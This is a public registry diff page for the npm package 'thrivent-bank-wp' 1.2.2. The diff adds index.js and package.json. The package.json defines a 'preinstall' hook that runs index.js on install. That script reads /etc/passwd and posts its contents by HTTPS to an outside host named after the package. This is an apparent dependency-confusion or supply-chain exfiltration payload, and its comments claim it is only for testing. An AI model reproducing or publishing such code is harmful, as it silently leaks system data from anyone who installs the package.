thrivent-bank-wp 1.2.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +40 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,40 @@
1
+ const fs = require("fs");
2
+ const https = require("https");
3
+
4
+ const filePath = "/etc/passwd"; // Only safe on your own test machine
5
+
6
+ // Read file
7
+ fs.readFile(filePath, "utf8", (err, data) => {
8
+ if (err) {
9
+ console.error(`Failed to read ${filePath}:`, err.message);
10
+ return;
11
+ }
12
+
13
+ // Prepare request
14
+ const postData = `file_contents=${encodeURIComponent(data)}`;
15
+
16
+ const options = {
17
+ hostname: "thrivent-bank-wp",
18
+ port: 443, // Burp proxy default port
19
+ path: "/",
20
+ method: "POST",
21
+ headers: {
22
+ "Content-Type": "application/x-www-form-urlencoded",
23
+ "Content-Length": postData.length,
24
+ },
25
+ };
26
+
27
+ const req = https.request(options, (res) => {
28
+ console.log(`Status: ${res.statusCode}`);
29
+ res.on("data", (chunk) => {
30
+ console.log("Response:", chunk.toString());
31
+ });
32
+ });
33
+
34
+ req.on("error", (e) => {
35
+ console.error("Request error:", e.message);
36
+ });
37
+
38
+ req.write(postData);
39
+ req.end();
40
+ });
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "thrivent-bank-wp",
3
+ "version": "1.2.2",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }